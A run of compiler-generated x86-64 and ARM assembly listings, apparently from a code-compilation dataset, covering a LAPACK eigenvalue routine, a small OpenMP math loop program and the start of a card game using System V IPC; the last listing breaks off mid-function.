lsl r2, r2, #2
ldr r1, [fp, #-284]
add r2, r1, r2
ldr r1, [fp, #-164]
lsl r1, r1, #2
ldr r0, [fp, #-288]
add r1, r0, r1
sub ip, fp, #204
sub r0, fp, #196
str r0, [sp, #36]
ldr r0, .L192+48
str r0, [sp, #32]
sub r0, fp, #32
str r0, [sp, #28]
ldr r0, .L192+48
str r0, [sp, #24]
ldr r0, .L192+48
str r0, [sp, #20]
str r1, [sp, #16]
str r2, [sp, #12]
ldr r2, [fp, #-280]
str r2, [sp, #8]
str r3, [sp, #4]
sub r3, fp, #204
str r3, [sp]
ldr r3, .L192+48
mov r2, ip
ldr r1, .L192+52
ldr r0, .L192+52
bl slahqr_
.L122:
ldr r3, [fp, #-196]
ldr r2, [fp, #-164]
add r3, r2, r3
str r3, [fp, #-164]
ldr r3, [fp, #-248]
ldr r2, [fp, #-164]
cmp r2, r3
blt .L120
ldr r3, [fp, #-248]
sub r2, r3, #1
ldr r3, [fp, #-248]
sub r3, r3, #1
ldr r1, [fp, #-152]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-236] @ float
ldr r3, [fp, #-248]
sub r3, r3, #1
ldr r2, [fp, #-152]
mul r2, r3, r2
ldr r3, [fp, #-248]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-228] @ float
ldr r3, [fp, #-248]
sub r2, r3, #1
ldr r3, [fp, #-248]
ldr r1, [fp, #-152]
mul r3, r1, r3
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-232] @ float
ldr r3, [fp, #-248]
ldr r2, [fp, #-152]
mul r2, r3, r2
ldr r3, [fp, #-248]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-224] @ float
ldr r3, [fp, #-248]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r2, [fp, #-248]
sub r2, r2, #-1073741823
lsl r2, r2, #2
ldr r1, [fp, #-288]
add r2, r1, r2
ldr r1, [fp, #-248]
lsl r1, r1, #2
ldr r0, [fp, #-284]
add r1, r0, r1
ldr r0, [fp, #-248]
lsl r0, r0, #2
ldr ip, [fp, #-288]
add r0, ip, r0
sub r6, fp, #224
sub r5, fp, #228
sub r4, fp, #232
sub lr, fp, #236
sub ip, fp, #212
str ip, [sp, #20]
sub ip, fp, #216
str ip, [sp, #16]
str r0, [sp, #12]
str r1, [sp, #8]
str r2, [sp, #4]
str r3, [sp]
mov r3, r6
mov r2, r5
mov r1, r4
mov r0, lr
bl slanv2_
ldr r3, [fp, #-248]
sub r3, r3, #1
str r3, [fp, #-164]
.L120:
ldr r2, [fp, #-248]
ldr r3, [fp, #-164]
sub r2, r2, r3
ldr r3, [fp, #-204]
cmp r2, r3
blt .L190
mov r3, #0
str r3, [fp, #-160]
ldr r3, [fp, #-164]
add r3, r3, #1
str r3, [fp, #-132]
ldr r3, [fp, #-248]
str r3, [fp, #-172]
b .L124
.L142:
ldr r3, [fp, #-160]
cmp r3, #0
bne .L191
mov r3, #1
str r3, [fp, #-160]
ldr r3, [fp, #-172]
sub r3, r3, #1
str r3, [fp, #-96]
ldr r3, [fp, #-164]
str r3, [fp, #-176]
b .L126
.L141:
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-88] @ float
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-84] @ float
ldr r3, [fp, #-176]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-60] @ float
ldr r3, [fp, #-176]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-56] @ float
mov r1, #0
ldr r0, [fp, #-88] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L181
ldr r4, [fp, #-88] @ float
b .L129
.L181:
ldr r3, [fp, #-88]
eor r4, r3, #-2147483648
.L129:
mov r1, #0
ldr r0, [fp, #-84] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L182
ldr r3, [fp, #-84] @ float
b .L132
.L182:
ldr r3, [fp, #-84]
eor r3, r3, #-2147483648
.L132:
mov r1, r3
mov r0, r4
bl __aeabi_fadd
mov r3, r0
mov r5, r3
mov r1, #0
ldr r0, [fp, #-60] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L183
ldr r4, [fp, #-60] @ float
b .L135
.L183:
ldr r3, [fp, #-60]
eor r4, r3, #-2147483648
.L135:
mov r1, #0
ldr r0, [fp, #-56] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L184
ldr r3, [fp, #-56] @ float
b .L138
.L184:
ldr r3, [fp, #-56]
eor r3, r3, #-2147483648
.L138:
mov r1, r3
mov r0, r4
bl __aeabi_fadd
mov r3, r0
mov r1, r3
mov r0, r5
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
beq .L139
mov r3, #0
str r3, [fp, #-160]
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-52] @ float
ldr r3, [fp, #-176]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r2, r2, r3
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r1, [fp, #-284]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-176]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r2, [fp, #-52] @ float
str r2, [r3] @ float
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-52] @ float
ldr r3, [fp, #-176]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r2, r2, r3
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r1, [fp, #-288]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-176]
add r3, r3, #1
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
ldr r2, [fp, #-52] @ float
str r2, [r3] @ float
.L139:
ldr r3, [fp, #-176]
add r3, r3, #1
str r3, [fp, #-176]
.L126:
ldr r2, [fp, #-176]
ldr r3, [fp, #-96]
cmp r2, r3
ble .L141
ldr r3, [fp, #-172]
sub r3, r3, #1
str r3, [fp, #-172]
.L124:
ldr r2, [fp, #-172]
ldr r3, [fp, #-132]
cmp r2, r3
bge .L142
.L190:
nop
b .L123
.L191:
nop
.L123:
ldr r3, [fp, #-164]
add r3, r3, #2
str r3, [fp, #-132]
ldr r3, [fp, #-248]
str r3, [fp, #-176]
b .L143
.L146:
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-176]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
ldr r3, [r3] @ float
eor r3, r3, #-2147483648
mov r1, r3
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
bne .L144
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-52] @ float
ldr r3, [fp, #-176]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r2, r2, r3
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r1, [fp, #-284]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-176]
sub r3, r3, #-1073741822
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r2, r2, r3
ldr r3, [fp, #-176]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r1, [fp, #-284]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-176]
sub r3, r3, #-1073741822
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r2, [fp, #-52] @ float
str r2, [r3] @ float
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-52] @ float
ldr r3, [fp, #-176]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r2, r2, r3
ldr r3, [fp, #-176]
lsl r3, r3, #2
ldr r1, [fp, #-288]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-176]
sub r3, r3, #-1073741822
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r2, r2, r3
ldr r3, [fp, #-176]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r1, [fp, #-288]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
ldr r3, [fp, #-176]
sub r3, r3, #-1073741822
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
ldr r2, [fp, #-52] @ float
str r2, [r3] @ float
.L144:
ldr r3, [fp, #-176]
sub r3, r3, #2
str r3, [fp, #-176]
.L143:
ldr r2, [fp, #-176]
ldr r3, [fp, #-132]
cmp r2, r3
bge .L146
.L119:
ldr r2, [fp, #-248]
ldr r3, [fp, #-164]
sub r3, r2, r3
cmp r3, #1
bne .L147
ldr r3, [fp, #-248]
lsl r3, r3, #2
ldr r2, [fp, #-288]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, #0
mov r0, r3
bl __aeabi_fcmpeq
mov r3, r0
cmp r3, #0
beq .L147
ldr r3, [fp, #-248]
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-248]
ldr r2, [fp, #-152]
mul r2, r3, r2
ldr r3, [fp, #-248]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-88] @ float
ldr r3, [fp, #-248]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r0, [r3] @ float
ldr r3, [fp, #-248]
ldr r2, [fp, #-152]
mul r2, r3, r2
ldr r3, [fp, #-248]
add r3, r2, r3
lsl r3, r3, #2
ldr r2, [fp, #-276]
add r3, r2, r3
ldr r3, [r3] @ float
mov r1, r3
bl __aeabi_fsub
mov r3, r0
str r3, [fp, #-84] @ float
mov r1, #0
ldr r0, [fp, #-88] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L185
ldr r4, [fp, #-88] @ float
b .L151
.L185:
ldr r3, [fp, #-88]
eor r4, r3, #-2147483648
.L151:
mov r1, #0
ldr r0, [fp, #-84] @ float
bl __aeabi_fcmpge
mov r3, r0
cmp r3, #0
beq .L186
ldr r3, [fp, #-84] @ float
b .L154
.L186:
ldr r3, [fp, #-84]
eor r3, r3, #-2147483648
.L154:
mov r1, r3
mov r0, r4
bl __aeabi_fcmplt
mov r3, r0
cmp r3, #0
beq .L187
ldr r3, [fp, #-248]
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r2, r2, r3
ldr r3, [fp, #-248]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r1, [fp, #-284]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
b .L147
.L187:
ldr r3, [fp, #-248]
sub r3, r3, #-1073741823
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r2, r2, r3
ldr r3, [fp, #-248]
lsl r3, r3, #2
ldr r1, [fp, #-284]
add r3, r1, r3
ldr r2, [r2] @ float
str r2, [r3] @ float
.L147:
ldr r3, [fp, #-204]
str r3, [fp, #-132]
ldr r2, [fp, #-248]
ldr r3, [fp, #-164]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-96]
ldr r2, [fp, #-132]
ldr r3, [fp, #-96]
cmp r2, r3
movlt r3, r2
movge r3, r3
str r3, [fp, #-204]
ldr r2, [fp, #-204]
ldr r3, [fp, #-204]
cmp r3, #0
and r3, r3, #1
rsblt r3, r3, #0
sub r3, r2, r3
str r3, [fp, #-204]
ldr r2, [fp, #-248]
ldr r3, [fp, #-204]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-164]
ldr r3, [fp, #-204]
lsl r3, r3, #1
str r3, [fp, #-44]
ldr r3, [fp, #-264]
ldr r2, [r3]
ldr r3, [fp, #-44]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-40]
ldr r3, [fp, #-44]
add r3, r3, #1
str r3, [fp, #-36]
ldr r3, [fp, #-264]
ldr r2, [r3]
ldr r3, [fp, #-44]
sub r3, r2, r3
sub r2, r3, #3
ldr r3, [fp, #-44]
add r3, r3, #1
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-192]
ldr r3, [fp, #-44]
add r3, r3, #4
str r3, [fp, #-72]
ldr r3, [fp, #-264]
ldr r2, [r3]
ldr r3, [fp, #-44]
sub r2, r2, r3
ldr r3, [fp, #-72]
sub r3, r2, r3
add r3, r3, #1
str r3, [fp, #-188]
ldr r3, [fp, #-164]
lsl r3, r3, #2
ldr r2, [fp, #-284]
add r3, r2, r3
ldr r2, [fp, #-164]
lsl r2, r2, #2
ldr r1, [fp, #-288]
add r2, r1, r2
ldr r1, [fp, #-148]
lsl r1, r1, #2
ldr r0, [fp, #-276]
add r1, r0, r1
ldr r0, [fp, #-140]
lsl r0, r0, #2
ldr ip, [fp, #-300]
add r0, ip, r0
ldr ip, [fp, #-308]
add ip, ip, #4
ldr r4, [fp, #-40]
ldr lr, [fp, #-152]
add lr, r4, lr
lsl lr, lr, #2
ldr r4, [fp, #-276]
add lr, r4, lr
ldr r5, [fp, #-72]
ldr r4, [fp, #-152]
add r4, r5, r4
lsl r4, r4, #2
ldr r5, [fp, #-276]
add r4, r5, r4
ldr r5, [fp, #-36]
ldr r6, [fp, #-152]
mul r6, r5, r6
ldr r5, [fp, #-40]
add r5, r6, r5
lsl r5, r5, #2
ldr r6, [fp, #-276]
add r5, r6, r5
sub r7, fp, #240
ldr r6, [fp, #-280]
str r6, [sp, #80]
str r5, [sp, #76]
sub r5, fp, #192
str r5, [sp, #72]
ldr r5, [fp, #-280]
str r5, [sp, #68]
str r4, [sp, #64]
sub r4, fp, #188
str r4, [sp, #60]
ldr r4, [fp, #-280]
str r4, [sp, #56]
str lr, [sp, #52]
ldr lr, .L192+56
str lr, [sp, #48]
str ip, [sp, #44]
ldr ip, [fp, #-304]
str ip, [sp, #40]
str r0, [sp, #36]
ldr r0, [fp, #-296]
str r0, [sp, #32]
ldr r0, [fp, #-292]
str r0, [sp, #28]
ldr r0, [fp, #-280]
str r0, [sp, #24]
str r1, [sp, #20]
str r2, [sp, #16]
str r3, [sp, #12]
sub r3, fp, #204
str r3, [sp, #8]
sub r3, fp, #248
str r3, [sp, #4]
sub r3, fp, #244
str r3, [sp]
ldr r3, [fp, #-264]
mov r2, r7
ldr r1, [fp, #-260]
ldr r0, [fp, #-256]
bl slaqr5_
.L109:
ldr r3, [fp, #-220]
cmp r3, #0
ble .L157
mov r3, #1
str r3, [fp, #-180]
b .L158
.L157:
ldr r3, [fp, #-180]
add r3, r3, #1
str r3, [fp, #-180]
.L158:
ldr r3, [fp, #-168]
add r3, r3, #1
str r3, [fp, #-168]
.L86:
ldr r3, [fp, #-252]
ldr r2, [fp, #-168]
cmp r2, r3
ble .L159
ldr r2, [fp, #-248]
ldr r3, [fp, #-316]
str r2, [r3]
b .L80
.L188:
nop
.L80:
ldr r3, [fp, #-308]
add r4, r3, #4
ldr r0, [fp, #-156]
bl __aeabi_i2f
mov r3, r0
str r3, [r4] @ float
mov r3, #0
.L160:
ldr r2, .L192+60
ldr r1, [r2]
ldr r2, [fp, #-24]
eors r1, r2, r1
mov r2, #0
beq .L161
bl __stack_chk_fail
.L161:
mov r0, r3
sub sp, fp, #20
@ sp needed
pop {r4, r5, r6, r7, fp, pc}
.size slaqr0_, .-slaqr0_
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "294090.c"
.intel_syntax noprefix
.text
.data
.align 8
.type N, @object
.size N, 8
N:
.quad 100000000
.text
.globl main
.type main, @function
main:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
push rbx
sub rsp, 40
.cfi_offset 3, -24
mov rax, QWORD PTR N[rip]
mov esi, 4
mov rdi, rax
call calloc@PLT
mov QWORD PTR -32[rbp], rax
mov rax, QWORD PTR N[rip]
mov esi, 4
mov rdi, rax
call calloc@PLT
mov QWORD PTR -24[rbp], rax
cmp QWORD PTR -32[rbp], 0
je .L2
cmp QWORD PTR -24[rbp], 0
jne .L3
.L2:
mov edi, 1
call exit@PLT
.L3:
mov rax, QWORD PTR N[rip]
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
mov esi, 1
mov rdi, rax
call memset@PLT
mov edi, 4
call omp_set_num_threads@PLT
mov DWORD PTR -40[rbp], 0
jmp .L4
.L5:
mov eax, DWORD PTR -40[rbp]
cdqe
lea rdx, 0[0+rax*4]
mov rax, QWORD PTR -32[rbp]
add rax, rdx
movss xmm0, DWORD PTR [rax]
movss DWORD PTR -36[rbp], xmm0
pxor xmm1, xmm1
cvtss2sd xmm1, DWORD PTR -36[rbp]
movq rax, xmm1
movq xmm0, rax
call sin@PLT
movq rax, xmm0
movq xmm0, rax
call exp@PLT
movq rax, xmm0
movq xmm0, rax
call sin@PLT
movq rax, xmm0
movq xmm0, rax
call log@PLT
movq rax, xmm0
movq xmm0, rax
call tan@PLT
movq rax, xmm0
movq xmm0, rax
call cos@PLT
movq rax, xmm0
movq xmm0, rax
call sin@PLT
movq rax, xmm0
movq xmm0, rax
call cos@PLT
pxor xmm2, xmm2
cvtsd2ss xmm2, xmm0
movd eax, xmm2
mov edx, DWORD PTR -40[rbp]
movsx rdx, edx
lea rcx, 0[0+rdx*4]
mov rdx, QWORD PTR -24[rbp]
lea rbx, [rcx+rdx]
movd xmm0, eax
call sinf@PLT
movd eax, xmm0
mov DWORD PTR [rbx], eax
add DWORD PTR -40[rbp], 1
.L4:
mov eax, DWORD PTR -40[rbp]
movsx rdx, eax
mov rax, QWORD PTR N[rip]
cmp rdx, rax
jl .L5
mov eax, 0
mov rbx, QWORD PTR -8[rbp]
leave
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size main, .-main
.ident "GCC: (Ubuntu 10.5.0-1ubuntu1~20.04) 10.5.0"
.section .note.GNU-stack,"",@progbits
.section .note.gnu.property,"a"
.align 8
.long 1f - 0f
.long 4f - 1f
.long 5
0:
.string "GNU"
1:
.align 8
.long 0xc0000002
.long 3f - 2f
2:
.long 0x3
3:
.align 8
4:
| .arch armv5t
.eabi_attribute 20, 1
.eabi_attribute 21, 1
.eabi_attribute 23, 3
.eabi_attribute 24, 1
.eabi_attribute 25, 1
.eabi_attribute 26, 2
.eabi_attribute 30, 6
.eabi_attribute 34, 0
.eabi_attribute 18, 4
.file "294090.c"
.text
.data
.align 2
.type N, %object
.size N, 4
N:
.word 100000000
.global __aeabi_f2d
.global __aeabi_d2f
.text
.align 2
.global main
.syntax unified
.arm
.fpu softvfp
.type main, %function
main:
@ args = 0, pretend = 0, frame = 16
@ frame_needed = 1, uses_anonymous_args = 0
push {r4, fp, lr}
add fp, sp, #8
sub sp, sp, #20
ldr r3, .L7
ldr r3, [r3]
mov r1, #4
mov r0, r3
bl calloc
mov r3, r0
str r3, [fp, #-24]
ldr r3, .L7
ldr r3, [r3]
mov r1, #4
mov r0, r3
bl calloc
mov r3, r0
str r3, [fp, #-20]
ldr r3, [fp, #-24]
cmp r3, #0
beq .L2
ldr r3, [fp, #-20]
cmp r3, #0
bne .L3
.L2:
mov r0, #1
bl exit
.L3:
ldr r3, .L7
ldr r3, [r3]
lsl r3, r3, #2
mov r2, r3
mov r1, #1
ldr r0, [fp, #-24]
bl memset
mov r0, #4
bl omp_set_num_threads
mov r3, #0
str r3, [fp, #-28]
b .L4
.L5:
ldr r3, [fp, #-28]
lsl r3, r3, #2
ldr r2, [fp, #-24]
add r3, r2, r3
ldr r3, [r3] @ float
str r3, [fp, #-16] @ float
ldr r0, [fp, #-16] @ float
bl __aeabi_f2d
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sin
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl exp
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sin
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl log
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl tan
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl cos
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl sin
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl cos
mov r2, r0
mov r3, r1
mov r0, r2
mov r1, r3
bl __aeabi_d2f
mov r1, r0
ldr r3, [fp, #-28]
lsl r3, r3, #2
ldr r2, [fp, #-20]
add r4, r2, r3
mov r0, r1
bl sinf
mov r3, r0
str r3, [r4] @ float
ldr r3, [fp, #-28]
add r3, r3, #1
str r3, [fp, #-28]
.L4:
ldr r3, .L7
ldr r3, [r3]
ldr r2, [fp, #-28]
cmp r2, r3
blt .L5
mov r3, #0
mov r0, r3
sub sp, fp, #8
@ sp needed
pop {r4, fp, pc}
.L8:
.align 2
.L7:
.word N
.size main, .-main
.ident "GCC: (Ubuntu 9.4.0-1ubuntu1~20.04.2) 9.4.0"
.section .note.GNU-stack,"",%progbits
|
.file "919152.c"
.intel_syntax noprefix
.text
.globl dajZnak
.type dajZnak, @function
dajZnak:
.LFB6:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
mov DWORD PTR -4[rbp], edi
mov QWORD PTR -16[rbp], rsi
cmp DWORD PTR -4[rbp], 0
jne .L2
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], 1869767019
mov BYTE PTR 4[rax], 0
.L2:
cmp DWORD PTR -4[rbp], 1
jne .L3
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], 7039344
.L3:
cmp DWORD PTR -4[rbp], 2
jne .L4
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], 1717924468
mov BYTE PTR 4[rax], 0
.L4:
cmp DWORD PTR -4[rbp], 3
jne .L5
mov rax, QWORD PTR -16[rbp]
mov DWORD PTR [rax], 1668441448
mov BYTE PTR 4[rax], 0
.L5:
nop
pop rbp
.cfi_def_cfa 7, 8
ret
.cfi_endproc
.LFE6:
.size dajZnak, .-dajZnak
.globl semid
.bss
.align 4
.type semid, @object
.size semid, 4
semid:
.zero 4
.globl msgid
.align 4
.type msgid, @object
.size msgid, 4
msgid:
.zero 4
.section .rodata
.LC0:
.string "\nPrimio SIGINT"
.text
.globl sig_handler
.type sig_handler, @function
sig_handler:
.LFB7:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 16
mov DWORD PTR -4[rbp], edi
lea rdi, .LC0[rip]
call puts@PLT
mov eax, DWORD PTR semid[rip]
mov edx, 0
mov esi, 0
mov edi, eax
mov eax, 0
call semctl@PLT
mov eax, DWORD PTR semid[rip]
mov edx, 0
mov esi, 1
mov edi, eax
mov eax, 0
call semctl@PLT
mov eax, DWORD PTR semid[rip]
mov edx, 0
mov esi, 2
mov edi, eax
mov eax, 0
call semctl@PLT
mov eax, DWORD PTR semid[rip]
mov edx, 0
mov esi, 3
mov edi, eax
mov eax, 0
call semctl@PLT
mov eax, DWORD PTR msgid[rip]
mov edx, 0
mov esi, 0
mov edi, eax
call msgctl@PLT
mov edi, 0
call exit@PLT
.cfi_endproc
.LFE7:
.size sig_handler, .-sig_handler
.section .rodata
.LC1:
.string "./karte.c"
.align 8
.LC2:
.string "Igrac1: Dodeljen redni broj %d\n"
.LC3:
.string "PID forka: %d\n"
.LC4:
.string "Neka druga greska!"
.align 8
.LC5:
.string "Potez %d-----------------------\n"
.LC6:
.string "Igrac: %d %s\n"
.LC7:
.string "Deljena: %d %s\n"
.LC8:
.string "Izbacio sam kartu igrac1"
.LC9:
.string "OKRENUO SAM"
.LC10:
.string "Nemam adekvatnu kartu"
.text
.globl main
.type main, @function
main:
.LFB8:
.cfi_startproc
endbr64
push rbp
.cfi_def_cfa_offset 16
.cfi_offset 6, -16
mov rbp, rsp
.cfi_def_cfa_register 6
sub rsp, 112
mov rax, QWORD PTR fs:40
mov QWORD PTR -8[rbp], rax
xor eax, eax
mov edi, 0
call time@PLT
mov edi, eax
call srand@PLT
mov esi, 120
lea rdi, .LC1[rip]
call ftok@PLT
mov DWORD PTR -100[rbp], eax
mov eax, DWORD PTR -100[rbp]
mov esi, 0
mov edi, eax
call msgget@PLT
mov DWORD PTR msgid[rip], eax
mov QWORD PTR -32[rbp], 21
mov eax, DWORD PTR msgid[rip]
lea rsi, -32[rbp]
mov ecx, 0
mov edx, 16
mov edi, eax
call msgsnd@PLT
mov eax, DWORD PTR msgid[rip]
lea rsi, -32[rbp]
mov r8d, 0
mov ecx, 0
mov edx, 16
mov edi, eax
call msgrcv@PLT
mov rax, QWORD PTR -32[rbp]
mov DWORD PTR -96[rbp], eax
mov eax, DWORD PTR -96[rbp]
mov esi, eax
lea rdi, .LC2[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -96[rbp]
movsx rdx, eax
mov eax, DWORD PTR msgid[rip]
lea rsi, -32[rbp]
mov r8d, 0
mov rcx, rdx
mov edx, 16
mov edi, eax
call msgrcv@PLT
mov eax, DWORD PTR -24[rbp]
mov esi, eax
lea rdi, .LC3[rip]
mov eax, 0
call printf@PLT
mov eax, DWORD PTR -24[rbp]
mov esi, eax
lea rdi, .LC1[rip]
call ftok@PLT
mov DWORD PTR -92[rbp], eax
mov eax, DWORD PTR -92[rbp]
mov DWORD PTR -88[rbp], eax
mov eax, DWORD PTR -88[rbp]
mov edx, 950
mov esi, 4
mov edi, eax
call semget@PLT
mov DWORD PTR semid[rip], eax
mov eax, DWORD PTR -92[rbp]
mov edx, 950
mov esi, 12
mov edi, eax
call shmget@PLT
mov DWORD PTR -84[rbp], eax
lea rsi, sig_handler[rip]
mov edi, 2
call signal@PLT
mov eax, DWORD PTR semid[rip]
cmp eax, -1
je .L8
mov DWORD PTR -48[rbp], 0
mov eax, DWORD PTR semid[rip]
mov rdx, QWORD PTR -48[rbp]
mov rcx, rdx
mov edx, 16
mov esi, 0
mov edi, eax
mov eax, 0
call semctl@PLT
mov eax, DWORD PTR semid[rip]
mov rdx, QWORD PTR -48[rbp]
mov rcx, rdx
mov edx, 16
mov esi, 1
mov edi, eax
mov eax, 0
call semctl@PLT
mov eax, DWORD PTR semid[rip]
mov rdx, QWORD PTR -48[rbp]
mov rcx, rdx
mov edx, 16
mov esi, 2
mov edi, eax
mov eax, 0
call semctl@PLT
mov eax, DWORD PTR semid[rip]
mov rdx, QWORD PTR -48[rbp]
mov rcx, rdx
mov edx, 16
mov esi, 3
mov edi, eax
mov eax, 0
call semctl@PLT
jmp .L9
.L8:
call __errno_location@PLT
mov eax, DWORD PTR [rax]
cmp eax, 17
jne .L10
mov eax, DWORD PTR -88[rbp]
mov edx, 0
mov esi, 4
mov edi, eax
call semget@PLT
mov DWORD PTR semid[rip], eax
jmp .L9
.L10:
lea rdi, .LC4[rip]
call puts@PLT
mov edi, 0
call exit@PLT
.L9:
mov eax, DWORD PTR -84[rbp]
mov edx, 0
mov esi, 0
mov edi, eax
call shmat@PLT
mov QWORD PTR -40[rbp], rax
mov WORD PTR -66[rbp], 0
mov WORD PTR -64[rbp], -1
mov WORD PTR -62[rbp], 0
mov WORD PTR -60[rbp], 1
mov WORD PTR -58[rbp], 1
mov WORD PTR -56[rbp], 0
mov WORD PTR -54[rbp], 3
mov WORD PTR -52[rbp], 1
mov WORD PTR -50[rbp], 0
mov DWORD PTR -104[rbp], 1
.L21:
cmp DWORD PTR -104[rbp], 7
je .L24
mov eax, DWORD PTR semid[rip]
lea rcx, -66[rbp]
mov edx, 1
mov rsi, rcx
mov edi, eax
call semop@PLT
mov DWORD PTR -80[rbp], eax
cmp DWORD PTR -80[rbp], -1
je .L25
call rand@PLT
cdq
shr edx, 30
add eax, edx
and eax, 3
sub eax, edx
mov DWORD PTR -76[rbp], eax
call rand@PLT
mov ecx, eax
movsx rax, ecx
imul rax, rax, 1321528399
shr rax, 32
sar eax, 2
mov esi, ecx
sar esi, 31
sub eax, esi
mov edx, eax
mov eax, edx
add eax, eax
add eax, edx
sal eax, 2
add eax, edx
sub ecx, eax
mov edx, ecx
lea eax, 1[rdx]
mov DWORD PTR -72[rbp], eax
lea rdx, -12[rbp]
